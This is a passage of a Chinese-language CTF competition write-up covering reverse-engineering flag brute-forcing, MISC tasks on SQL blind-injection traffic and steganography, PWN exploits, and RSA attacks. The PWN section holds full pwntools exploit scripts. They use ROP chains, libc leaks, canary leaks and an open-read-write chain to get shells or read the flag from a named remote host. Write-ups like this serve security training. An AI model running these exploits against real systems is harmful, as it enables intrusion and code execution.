= True if address == 0x2812: Temp = True if address == 0x289E: Temp = True if Temp: print(hex(address)) self.hit += 1先随便输入几个flag,验证一下之前的猜想:好吧,到这里已经可以确认,我之前的猜想是成立的,这就很nice。下面就是爆破了:flag = b'' for j in range(42): for i in b'0123456789abcdef{}-_#!?ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ': tem = bytearray(flag + b'x' * (42 - len(flag))) tem[j] = i if Unidbg(bytes(tem), 127).solve() == j +1: flag += xxx[i] print(flag.decode()) 效果示意:或者import os #flag = "flag{96c69646-8184-4363-8de9-73f7398066c1}" addr_l = [0x5655619c, 0x5655622a, 0x565562b8, 0x56556344, 0x565563d0, 0x5655645c, 0x565564e8, 0x56556574, 0x56556602, 0x5655668e, 0x5655671c, 0x565567a6,\ 0x56556834, 0x565568c2, 0x5655694e, 0x565569da, 0x56556a64, 0x56556aee, 0x56556b7a, 0x56556c06, 0x56556c94, 0x56556d20, 0x56556daa, 0x56556e34,\ 0x56556ec2, 0x56556f4e, 0x56556fda, 0x56557064, 0x565570f0, 0x5655717a, 0x56557208, 0x56557292, 0x5655731e, 0x565573ac, 0x5655743a, 0x565574c4,\ 0x56557552, 0x565575de, 0x5655766c, 0x565576fa, 0x56557784, 0x56557810, 0x5655789c] flag = "" for addr in addr_l: with open('script', 'w') as f: temp = """break *{0} if $pc == {1} commands silent printf "blogg9ggg" continue end run""".format(hex(addr), hex(addr)) f.write(temp) f.close() i = 32 while(i <= 127): tflag = flag + chr(i) with open('in', 'w') as f: f.write(tflag) f.close() os.system("gdb ./Petition -batch -x script > log < in") ok = False with open("log") as f: temp = f.read() if(temp.find("blogg9ggg") != -1): ok = True f.close() if(ok == True): flag += chr(i) break i += 1 print(flag) FLAG : flag{96c69646-8184-4363-8de9-73f7398066c1} MISC1.流量分析 原题,先用tshark把请求提取出来tshark -r timu.pcapng -T fields -e http.request.full_uri|tr -s '\n'|grep flag > log用脚本跑下注入后面的ascii码即可import rewith open('log') as f: tmp = f.read() flag = '' data = re.findall(r'=(\d*)--',tmp) data = [int(i) for i in data] for i,num in enumerate(data): try: if num > data[i+1]: flag += chr(num) except Exception: pass print(flag)#flag{w1reshARK_ez_1sntit}或者下载附件以后得到一个数据包,用Wireshark分析流量发现sql注入数据,筛选出http数据仔细查看是布尔盲注 记录下每次最大ASCII码数据包然后ASCII码转字符得到flag 2.a_misc附件下载下来发现压缩包需要密码,看了下不是伪加密,爆破得出密码qwer 打开压缩包以后发现一个图片,发现图片内容是一个云盘链接,打开链接发现需要提取码,修改图片高度以后发现提取码 云盘内容还是一个数据包,Wireshark打开后发现依然是sql注入流量,只不过换成了时间盲注,方法与前面流量分析一样,提取出注入成功的ASCII码后转换为字符串得到flag过滤下POST包发现在盲注,和第一题一样提取下ascii即可result = [102, 108, 97, 103, 123, 99, 100, 50, 99, 51, 101, 50, 102, 101, 97, 52, 54, 51, 100, 101, 100, 57, 97, 102, 56, 48, 48, 100, 55, 49, 53, 53, 98, 101, 55, 97, 113, 125]flag = ""for i in result: flag +=chr(i)print(flag)#flag{cd2c3e2fea463ded9af800d7155be7aq} 3.Misc2下载附件只有一个check.pnd的图片,修改高度后依然没有结果,查看文件属性发现位深度是32位,想到LSB隐写,用Stegsolve查看alpha通道为0时图片是空白,所以判断alpha通道不存在数据 查看红蓝绿最低为信息发现16进制编码 发现存在16进制 ? &#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;m?这里直接转10进制再转下ascii即可 flag{h0w_4bouT_enc0de_4nd_pnG} 4.m1原题:https://www.glun.top/2020/10/05/ctf02/,连flag都没改 flag{5cae25efeb73d7ba22f7728427376f59}5. new_misc下载文件,是一个pdf文件打开pdf,有俄文看不懂,因为是一道杂项题考虑隐写,百度“ctf pdf 隐写”http://blog.sina.com.cn/s/blog_6dc0c58b0102x9zd.html找到了这位师傅写的总结,pdf两种隐写方式,如下图:找工具:wbStego4.3open找不到工具的师傅可以去我分享的链接下载:链接:https://pan.baidu.com/s/1S-w-W8YcAZVU4hKJXez7cg提取码:da4l打开软件 点击continue 选择 decode 点continue 选择文件timu.pdf 之后再点continue(空密码,弱密码破解) 输入 输出的文件名字 得到txt文件 flag{verY_g00d_YoU_f0und_th1s} PWN1.echo#coding:utf-8 import sys from pwn import * from ctypes import CDLL context.log_level='debug' elfelf='./easyecho' #context.arch='amd64' while True : # try : elf=ELF(elfelf) context.arch=elf.arch gdb_text=''' telescope $rebase(0x202040) 16 ''' if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.23.so') io=process(elfelf) # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/i386-linux-gnu/libc-2.23.so') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] else : clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.23.so') io=remote('182.116.62.85',24842) clibc.srand(clibc.time(0)) # libc=ELF('./libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] pay='a'*0x10 io.recv() io.send(pay) io.recvuntil('a'*0x10) elf_base=u64(io.recv(6)+'\x00\x00')-0xcf0+0x202040 io.sendline('backdoor') io.recv() # gdb.attach(io,gdb_text) io.sendline('a'*0x168+p64(elf_base)) io.recv() io.sendline('exitexit') # io.sendline(pay) # success('libc_base:'+hex(libc_base)) # success('heap_base:'+hex(heap_base)) # gdb.attach(io,gdb_text) io.interactive() # except Exception as e: # io.close() # continue # else: # continue 2.supermarket原题 网上找的脚本 #coding:utf-8 from pwn import * # context.log_level = 'debug' debug = 0 if debug == 1: r = process('./task_supermarket') # gdb.attach(r) else: r = remote('182.116.62.85',27518) def add(name, price, descrip_size, description): r.recvuntil('your choice>> ') r.send('1\n') r.recvuntil('name:') r.send(name + '\n') r.recvuntil('price:') r.send(str(price) + '\n') r.recvuntil('descrip_size:') r.send(str(descrip_size) + '\n') r.recvuntil('description:') r.send(str(description) + '\n') def dele(name): r.recvuntil('your choice>> ') r.send('2\n') r.recvuntil('name:') r.send(name + '\n') def lis(): r.recvuntil('your choice>> ') r.send('3\n') r.recvuntil('all commodities info list below:\n') return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')] def changePrice(name, price): r.recvuntil('your choice>> ') r.send('4\n') r.recvuntil('name:') r.send(name + '\n') r.recvuntil('input the value you want to cut or rise in:') r.send(str(price) + '\n') def changeDes(name, descrip_size, description): r.recvuntil('your choice>> ') r.send('5\n') r.recvuntil('name:') r.send(name + '\n') r.recvuntil('descrip_size:') r.send(str(descrip_size) + '\n') r.recvuntil('description:') r.send(description + '\n') def exit(): r.recvuntil('your choice>> ') r.send('6\n') add('1', 10, 8, 'a') add('2', 10, 0x98, 'a') add('3', 10, 4, 'a') changeDes('2', 0x100, 'a') add('4', 10, 4, 'a') def leak_one(address): changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address)) res = lis().split('des.')[-1] if(res == '\n'): return '\x00' return res[0] def leak(address): content = leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3) log.info('%#x => %#x'%(address, u32(content))) return content d = DynELF(leak, elf = ELF('./task_supermarket')) system_addr = d.lookup('system', 'libc') log.info('system \'s address = %#x'%(system_addr)) bin_addr = 0x0804B0B8 changeDes('1', 0x8, '/bin/sh\x00') changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018)) changeDes('4', 8, p32(system_addr)) dele('1') r.sendline('cat flag') r.interactive() 3.task_babyof from pwn import * from pwn import p64, u64, p32, u32, p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'sp', '-h'] elf = ELF('./babyof') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') libc = ELF('./libc-2.27.so') # io = process('./babyof') io = remote('182.116.62.85','21613') prdi = 0x0000000000400743 # : pop rdi prsi = 0x0000000000400741 # : pop rsi ; pop r15 ; ret def exp(): io.recvuntil('Do you know how to do buffer overflow?') payload = b'a'*0x48 + \ p64(prdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40066B) io.send(payload) leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) info(hex(leak)) libc_base = leak - libc.sym['puts'] system = libc_base + libc.sym['system'] info(hex(system)) binsh = libc_base + next(libc.search(b'/bin/sh\x00')) io.recvuntil('Do you know how to do buffer overflow?') payload = b'a'*0x48 + p64(prdi) + p64(binsh)+p64(0x0000000000130569+libc_base)+p64(0)*2+p64(system) # + p64(0x40066b) # gdb.attach(io) io.send(payload) exp() io.interactive() 或者 # -*- coding: utf-8 -*- from pwn import * #p=process('./1') p=remote('182.116.62.85',21613) elf=ELF('1') #p=process(['./1'],env={'LD_PRELOAD':'./libc-2.27_64.so'}) libc=ELF('libc-2.27.so') #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #p=remote('node4.buuoj.cn',26442) #libc=ELF('/ctf/work/buuoj/buu_libc/libc-2.27_64.so') context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) context.log_level='debug' def debug(): gdb.attach(p) pause() def lg(name,val): log.success(name+' : '+hex(val)) def add(): p.recvuntil('Give me your choice : ') p.sendline('1') ret=0x0000000000400506 pop_rdi=0x0000000000400743 p.recvuntil('Do you know how to do buffer overflow?') payload=0x40*'a'+p64(0)+p64(ret)+p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts']) payload+=p64(0x400632 ) p.send(payload) libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['read'] print hex(libc.address) payload=0x40*'a'+p64(0)+p64(ret)+p64(pop_rdi)+p64(libc.search('/bin/sh').next())+p64(libc.sym['system']) p.send(payload) p.recvuntil('Do you know how to do buffer overflow?') p.send(payload) p.interactive() 4.task_littleof #coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='littleof'#context.arch='amd64'while True : # try : elf=ELF(elfelf) context.arch=elf.arch gdb_text=''' telescope $rebase(0x202040) 16 ''' if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.23.so') io=process(elfelf) # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] else : clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.23.so') io=remote('182.116.62.85',27056) clibc.srand(clibc.time(0)) libc=ELF('./libc-2.27.so') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] pay='a'*0x49 io.recv() io.send(pay) io.recvuntil('a'*0x49) canary='\x00'+io.recv(7) pay='a'*0x48+canary+p64(0)+p64(0x400863) pay+=p64(elf.got['puts'])+p64(elf.plt['puts']) pay+=p64(0x400789) io.recv() io.send(pay) libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['puts'] libc.address=libc_base bin_sh_addr=libc.search('/bin/sh\x00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pay='a'*0x48+canary+p64(0)+p64(0x400863) pay+=p64(bin_sh_addr) pay+=p64(0x0000000000130569+libc_base)+p64(0)*2+p64(system_addr) pay+=p64(0x400600) io.recv() io.sendline('a') io.recvuntil('Try harder!') # gdb.attach(io,gdb_text) io.sendline(pay) success('libc_base:'+hex(libc_base)) # success('heap_base:'+hex(heap_base)) # gdb.attach(io,gdb_text) io.interactive() # except Exception as e: # io.close() # continue # else: # continue 5.task_onecho#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./onecho'#context.arch='amd64'while True : # try : elf=ELF(elfelf) context.arch=elf.arch gdb_text=''' telescope $rebase(0x202040) 16 ''' if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.23.so') io=process(elfelf) # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/i386-linux-gnu/libc-2.23.so') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] else : clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.23.so') io=remote('182.116.62.85',24143) clibc.srand(clibc.time(0)) libc=ELF('./libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] pay='../flag'+'\x00'*0x105+p32(0x11111111)+p32(0x08049812)+p32(0x0804c800)+p32(0x100) pay+=p32(0x08049812)+p32(0x0804c800)+p32(0x0804c800) pay+=p32(0x08049180)+p32(0x8049224)+p32(0x804BFC8) io.recv() # gdb.attach(io,gdb_text) io.sendline(pay) libc_base=u32(io.recvuntil('\xf7')[-4:])-libc.sym['puts'] libc.address=libc_base bin_sh_addr=libc.search('/bin/sh\x00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pay='\x00'*0x10c+p32(0x11111111)+p32(0x08049812)+p32(0x0804c800)+p32(0x10) pay+=p32(libc.sym['open'])+p32(0x08049811)+p32(0x0804c801)+p32(0)+p32(0) pay+=p32(0x08049130)+p32(0x08049811)+p32(3)+p32(0x0804c900)+p32(0x30) pay+=p32(libc.sym['write'])+p32(0x08049811)+p32(1)+p32(0x0804c900)+p32(0x30) io.recv() # gdb.attach(io,gdb_text) io.sendline(pay) success('libc_base:'+hex(libc_base)) # success('heap_base:'+hex(heap_base)) # gdb.attach(io,gdb_text) io.interactive() # except Exception as e: # io.close() # continue # else: # continue或者# -*- coding: utf-8 -*-from pwn import *#p=process('./1')p=remote('182.116.62.85',27056)elf=ELF('1')libc=ELF('libc-2.27.so')context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])context.log_level='debug'def debug(): gdb.attach(p) pause()def lg(name,val): log.success(name+' : '+hex(val)) pop_rdi=0x0000000000400863pop_rsi_r15=0x0000000000400861ret=0x000000000040059e p.recvuntil('Do you know how to do buffer overflow?')p.send(0x49*'a')p.recvuntil(0x49*'a')canary=u64('\x00'+p.recv(7))bp=u64(p.recv(6).ljust(8,'\x00'))print hex(bp)print hex(canary) payload=0x48*'a'+p64(canary)+p64(bp)+p64(ret)+p64(ret)+p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])payload+=p64(0x4006E2)p.recvuntil('Try harder!')p.send(payload) libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['read'] payload=0x48*'a'+p64(canary)+p64(bp-8)+p64(ret)+p64(pop_rdi)+p64(libc.search('/bin/sh').next())+p64(libc.sym['system'])#debug() p.send(payload)p.recvuntil('Try harder!')p.send(payload)p.interactive() 6.easycho解题思路 通过恶意更改canary触发smash打印出flag # -*- coding: utf-8 -*- from pwn import * #p=process('./1') p=remote('182.116.62.85',24842) context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) #context.log_level='debug' def debug(): gdb.attach(p) pause() def lg(name,val): log.success(name+' : '+hex(val)) p.recvuntil('Name: ') p.sendline(16*'a') p.recvuntil(16*'a') base=u64(p.recv(6).ljust(8,'\x00'))-3312 lg('base',base) p.recvuntil('Input: ') p.sendline(0x100*'b'+0x50*'a'+p64(0x111)+p64(0x1111)+p64(base+0x202040)+p64(base+0x202040)) p.recvuntil('Input: ') p.sendline('backdoor') #debug() p.recvuntil('Input: ') p.sendline('exitexit') p.interactive() Crypto原题: http://www.3fwork.com/kaifa200/004475MYM012472/ 1.a_cryptoROT13编码,解码后得 得到: 4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434F4B59474253464D5A444E4D51334557524B5A4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35 16进制串转字符串得 a = "4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434F4B59474253464D5A444E4D51334557524B5A4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35" for i in range(0,len(a),2): print(chr(eval('0x'+a[i]+a[i+1])),end="") #KYYTIM2QPF2GWYZSNRAVS3CWGNJWYUTNKZMFCOKYGBSFMZDNMQ3EWRKZOBIDG5BUKYZDSK2NIVWFQU2FKI4VIVKFNNIECPJ5得到: KYYTIM2QPF2GWYZSNRAVS3CWGNJWYUTNKZMFCOKYGBSFMZDNMQ3EWRKZOBIDG5BUKYZDSK2NIVWFQU2FKI4VIVKFNNIECPJ5 base32串解码得 V143Pytkc2lAYlV3SlRmVXQ9X0dVdmd6KEYpP3t4V29+MElXSER9TUEkPA== base64解码得 W^7?+dsi@bUwJTfUt=_GUvgz(F)?{xWo~0IWHD}MA$< base85解码得 flag{W0w_y0u_c4n_rea11y_enc0d1ng!} 或者 利用ciphey工具 2.easy_crypto公正公正公正诚信文明公正民主公正法治法治诚信民主自由敬业公正友善公正平等平等法治民主平等平等和谐敬业自由诚信平等和谐平等公正法治法治平等平等爱国和谐公正平等敬业公正敬业自由敬业平等自由法治和谐平等文明自由诚信自由平等富强公正敬业平等民主公正诚信和谐公正文明公正爱国自由诚信自由平等文明公正诚信富强自由法治法治平等平等自由平等富强法治诚信和谐 下载完打开一看,这不是核心价值观编码,直接解一下 社会主义核心价值观加密,在线解http://www.atoolbox.net/Tool.php?Id=850 3. babyrsa原题 http://www.zbc53.top/archives/148/ 题目: from Crypto.Util.number import getPrime, bytes_to_longfrom secret import flag p = getPrime(1024)q = getPrime(1024)n = p * qe = 65537hint1 = p >> 724#p高位302hint2 = q % (2 ** 265)ct = pow(bytes_to_long(flag), e, n)print(hint1)print(hint2)print(n)print(ct) hint1 = 1514296530850131082973956029074258536069144071110652176122006763622293335057110441067910479hint2 = 40812438243894343296354573724131194431453023461572200856406939246297219541329623n = 21815431662065695412834116602474344081782093119269423403335882867255834302242945742413692949886248581138784199165404321893594820375775454774521554409598568793217997859258282700084148322905405227238617443766062207618899209593375881728671746850745598576485323702483634599597393910908142659231071532803602701147251570567032402848145462183405098097523810358199597631612616833723150146418889589492395974359466777040500971885443881359700735149623177757865032984744576285054725506299888069904106805731600019058631951255795316571242969336763938805465676269140733371287244624066632153110685509892188900004952700111937292221969ct = 19073695285772829730103928222962723784199491145730661021332365516942301513989932980896145664842527253998170902799883262567366661277268801440634319694884564820420852947935710798269700777126717746701065483129644585829522353341718916661536894041337878440111845645200627940640539279744348235772441988748977191513786620459922039153862250137904894008551515928486867493608757307981955335488977402307933930592035163126858060189156114410872337004784951228340994743202032248681976932591575016798640429231399974090325134545852080425047146251781339862753527319093938929691759486362536986249207187765947926921267520150073408188188hint1就是p的高300位,hint2就是q的低位,想到高位攻击,可是高位攻击一般需要其中一个因子已知的570位,根据q的低位求出p的低位,再爆破点比特位就行了。由此得到p的低位p0,结合高位攻击exp:```pythonfrom gmpy2 import *from Crypto.Util.number import * p1 = 1514296530850131082973956029074258536069144071110652176122006763622293335057110441067910479q0 = 40812438243894343296354573724131194431453023461572200856406939246297219541329623n = 21815431662065695412834116602474344081782093119269423403335882867255834302242945742413692949886248581138784199165404321893594820375775454774521554409598568793217997859258282700084148322905405227238617443766062207618899209593375881728671746850745598576485323702483634599597393910908142659231071532803602701147251570567032402848145462183405098097523810358199597631612616833723150146418889589492395974359466777040500971885443881359700735149623177757865032984744576285054725506299888069904106805731600019058631951255795316571242969336763938805465676269140733371287244624066632153110685509892188900004952700111937292221969mod=pow(2,265)p0=n*invert(q0,mod)%modpbar=(p1<<724)+p0#sagePR.<x> = PolynomialRing(Zmod(n)) for i in range(32): f=pbar+x*mod*32 f=f.monic() pp=f.small_roots(X=2^454,beta=0.4) if(pp): break pbar+=mod p=pbar+pp[0]*32*modassert n%p==0print(p) q=n//pphi=(p-1)*(q-1)e=65537d=gmpy2.invert(e,phi)c=19073695285772829730103928222962723784199491145730661021332365516942301513989932980896145664842527253998170902799883262567366661277268801440634319694884564820420852947935710798269700777126717746701065483129644585829522353341718916661536894041337878440111845645200627940640539279744348235772441988748977191513786620459922039153862250137904894008551515928486867493608757307981955335488977402307933930592035163126858060189156114410872337004784951228340994743202032248681976932591575016798640429231399974090325134545852080425047146251781339862753527319093938929691759486362536986249207187765947926921267520150073408188188m=gmpy2.powmod(c,d,n)print(long_to_bytes(m))#flag{ef5e1582-8116-4f61-b458-f793dc03f2ff}4.Crazy_Rsa_Tech题目:from Crypto.Util.number import *from Crypto.Util.Padding import * FLAG = bytes_to_long(pad(b"flag{??????}",64))def init_key(): p, q = getPrime(512), getPrime(512) n = p*q e = 9 while(GCD((p-1)*(q-1),e)!=1): p, q = getPrime(512), getPrime(512) n = p*q d = inverse(e,(p-1)*(q-1)) return n,e,d n_list=list()c_list=list()for i in range(9): N,e,d=init_key() n_list.append(N) c=pow(FLAG,e,N) c_list.append(pow(FLAG,e,N)) assert(pow(c,d,N)==FLAG)print("n_list:",n_list)print("c_list:",c_list)#附件output.txtn_list = [71189786319102608575263218254922479901008514616376166401353025325668690465852130559783959409002115897148828732231478529655075366072137059589917001875303598680931962384468363842379833044123189276199264340224973914079447846845897807085694711541719515881377391200011269924562049643835131619086349617062034608799, 92503831027754984321994282254005318198418454777812045042619263533423066848097985191386666241913483806726751133691867010696758828674382946375162423033994046273252417389169779506788545647848951018539441971140081528915876529645525880324658212147388232683347292192795975558548712504744297104487514691170935149949, 100993952830138414466948640139083231443558390127247779484027818354177479632421980458019929149817002579508423291678953554090956334137167905685261724759487245658147039684536216616744746196651390112540237050493468689520465897258378216693418610879245129435268327315158194612110422630337395790254881602124839071919, 59138293747457431012165762343997972673625934330232909935732464725128776212729547237438509546925172847581735769773563840639187946741161318153031173864953372796950422229629824699580131369991913883136821374596762214064774480548532035315344368010507644630655604478651898097886873485265848973185431559958627423847, 66827868958054485359731420968595906328820823695638132426084478524423658597714990545142120448668257273436546456116147999073797943388584861050133103137697812149742551913704341990467090049650721713913812069904136198912314243175309387952328961054617877059134151915723594900209641163321839502908705301293546584147, 120940513339890268554625391482989102665030083707530690312336379356969219966820079510946652021721814016286307318930536030308296265425674637215009052078834615196224917417698019787514831973471113022781129000531459800329018133248426080717653298100515701379374786486337920294380753805825328119757649844054966712377, 72186594495190221129349814154999705524005203343018940547856004977368023856950836974465616291478257156860734574686154136925776069045232149725101769594505766718123155028300703627531567850035682448632166309129911061492630709698934310123778699316856399909549674138453085885820110724923723830686564968967391721281, 69105037583161467265649176715175579387938714721653281201847973223975467813529036844308693237404592381480367515044829190066606146105800243199497182114398931410844901178842049915914390117503986044951461783780327749665912369177733246873697481544777183820939967036346862056795919812693669387731294595126647751951, 76194219445824867986050004226602973283400885106636660263597964027139613163638212828932901192009131346530898961165310615466747046710743013409318156266326090650584190382130795884514074647833949281109675170830565650006906028402714868781834693473191228256626654011772428115359653448111208831188721505467497494581]c_list = [62580922178008480377006528793506649089253164524883696044759651305970802215270721223149734532870729533611357047595181907404222690394917605617029675103788705320032707977225447998111744887898039756375876685711148857676502670812333076878964148863713993853526715855758799502735753454247721711366497722251078739585, 46186240819076690248235492196228128599822002268014359444368898414937734806009161030424589993541799877081745454934484263188270879142125136786221625234555265815513136730416539407710862948861531339065039071959576035606192732936477944770308784472646015244527805057990939765708793705044236665364664490419874206900, 85756449024868529058704599481168414715291172247059370174556127800630896693021701121075838517372920466708826412897794900729896389468152213884232173410022054605870785910461728567377769960823103334874807744107855490558726013068890632637193410610478514663078901021307258078678427928255699031215654693270240640198, 14388767329946097216670270960679686032536707277732968784379505904021622612991917314721678940833050736745004078559116326396233622519356703639737886289595860359630019239654690312132039876082685046329079266785042428947147658321799501605837784127004536996628492065409017175037161261039765340032473048737319069656, 1143736792108232890306863524988028098730927600066491485326214420279375304665896453544100447027809433141790331191324806205845009336228331138326163746853197990596700523328423791764843694671580875538251166864957646807184041817863314204516355683663859246677105132100377322669627893863885482167305919925159944839, 2978800921927631161807562509445310353414810029862911925227583943849942080514132963605492727604495513988707849133045851539412276254555228149742924149242124724864770049898278052042163392380895275970574317984638058768854065506927848951716677514095183559625442889028813635385408810698294574175092159389388091981, 16200944263352278316040095503540249310705602580329203494665614035841657418101517016718103326928336623132935178377208651067093136976383774189554806135146237406248538919915426183225265103769259990252162411307338473817114996409705345401251435268136647166395894099897737607312110866874944619080871831772376466376, 31551601425575677138046998360378916515711528548963089502535903329268089950335615563205720969393649713416910860593823506545030969355111753902391336139384464585775439245735448030993755229554555004154084649002801255396359097917380427525820249562148313977941413268787799534165652742114031759562268691233834820996, 25288164985739570635307839193110091356864302148147148153228604718807817833935053919412276187989509493755136905193728864674684139319708358686431424793278248263545370628718355096523088238513079652226028236137381367215156975121794485995030822902933639803569133458328681148758392333073624280222354763268512333515]九组密文c和模数n,e=9很小,低加密指数攻击exp:import gmpy2import mathfrom Crypto.Util.number import *def merge(a1,n1,a2,n2): d = math.gcd(n1,n2) c = a2-a1 if c%d!=0: return 0 c = (c%n2+n2)%n2 c = c//d n1 = n1//d n2 = n2//d c *= gmpy2.invert(n1,n2) c %= n2 c *= n1*d c += a1 global n3 global a3 n3 = n1*n2*d a3 = (c%n3+n3)%n3 return 1def exCRT(a,n): a1=a[0] n1=n[0] le= len(a) for i in range(1,le): a2 = a[i] n2=n[i] if not merge(a1,n1,a2,n2): return -1 a1 = a3 n1 = n3 global mod mod=n1 return (a1%n1+n1)%n1def exCRT_getequation(a,n): a1=a[0] n1=n[0] le= len(a) for i in range(1,le): a2 = a[i] n2=n[i] if not merge(a1,n1,a2,n2): return -1 a1 = a3 n1 = n3 return (a1,n1) n = [71189786319102608575263218254922479901008514616376166401353025325668690465852130559783959409002115897148828732231478529655075366072137059589917001875303598680931962384468363842379833044123189276199264340224973914079447846845897807085694711541719515881377391200011269924562049643835131619086349617062034608799, 92503831027754984321994282254005318198418454777812045042619263533423066848097985191386666241913483806726751133691867010696758828674382946375162423033994046273252417389169779506788545647848951018539441971140081528915876529645525880324658212147388232683347292192795975558548712504744297104487514691170935149949, 100993952830138414466948640139083231443558390127247779484027818354177479632421980458019929149817002579508423291678953554090956334137167905685261724759487245658147039684536216616744746196651390112540237050493468689520465897258378216693418610879245129435268327315158194612110422630337395790254881602124839071919, 59138293747457431012165762343997972673625934330232909935732464725128776212729547237438509546925172847581735769773563840639187946741161318153031173864953372796950422229629824699580131369991913883136821374596762214064774480548532035315344368010507644630655604478651898097886873485265848973185431559958627423847, 66827868958054485359731420968595906328820823695638132426084478524423658597714990545142120448668257273436546456116147999073797943388584861050133103137697812149742551913704341990467090049650721713913812069904136198912314243175309387952328961054617877059134151915723594900209641163321839502908705301293546584147, 120940513339890268554625391482989102665030083707530690312336379356969219966820079510946652021721814016286307318930536030308296265425674637215009052078834615196224917417698019787514831973471113022781129000531459800329018133248426080717653298100515701379374786486337920294380753805825328119757649844054966712377, 72186594495190221129349814154999705524005203343018940547856004977368023856950836974465616291478257156860734574686154136925776069045232149725101769594505766718123155028300703627531567850035682448632166309129911061492630709698934310123778699316856399909549674138453085885820110724923723830686564968967391721281, 69105037583161467265649176715175579387938714721653281201847973223975467813529036844308693237404592381480367515044829190066606146105800243199497182114398931410844901178842049915914390117503986044951461783780327749665912369177733246873697481544777183820939967036346862056795919812693669387731294595126647751951, 76194219445824867986050004226602973283400885106636660263597964027139613163638212828932901192009131346530898961165310615466747046710743013409318156266326090650584190382130795884514074647833949281109675170830565650006906028402714868781834693473191228256626654011772428115359653448111208831188721505467497494581]c = [62580922178008480377006528793506649089253164524883696044759651305970802215270721223149734532870729533611357047595181907404222690394917605617029675103788705320032707977225447998111744887898039756375876685711148857676502670812333076878964148863713993853526715855758799502735753454247721711366497722251078739585, 46186240819076690248235492196228128599822002268014359444368898414937734806009161030424589993541799877081745454934484263188270879142125136786221625234555265815513136730416539407710862948861531339065039071959576035606192732936477944770308784472646015244527805057990939765708793705044236665364664490419874206900, 85756449024868529058704599481168414715291172247059370174556127800630896693021701121075838517372920466708826412897794900729896389468152213884232173410022054605870785910461728567377769960823103334874807744107855490558726013068890632637193410610478514663078901021307258078678427928255699031215654693270240640198, 14388767329946097216670270960679686032536707277732968784379505904021622612991917314721678940833050736745004078559116326396233622519356703639737886289595860359630019239654690312132039876082685046329079266785042428947147658321799501605837784127004536996628492065409017175037161261039765340032473048737319069656, 1143736792108232890306863524988028098730927600066491485326214420279375304665896453544100447027809433141790331191324806205845009336228331138326163746853197990596700523328423791764843694671580875538251166864957646807184041817863314204516355683663859246677105132100377322669627893863885482167305919925159944839, 2978800921927631161807562509445310353414810029862911925227583943849942080514132963605492727604495513988707849133045851539412276254555228149742924149242124724864770049898278052042163392380895275970574317984638058768854065506927848951716677514095183559625442889028813635385408810698294574175092159389388091981, 16200944263352278316040095503540249310705602580329203494665614035841657418101517016718103326928336623132935178377208651067093136976383774189554806135146237406248538919915426183225265103769259990252162411307338473817114996409705345401251435268136647166395894099897737607312110866874944619080871831772376466376, 31551601425575677138046998360378916515711528548963089502535903329268089950335615563205720969393649713416910860593823506545030969355111753902391336139384464585775439245735448030993755229554555004154084649002801255396359097917380427525820249562148313977941413268787799534165652742114031759562268691233834820996, 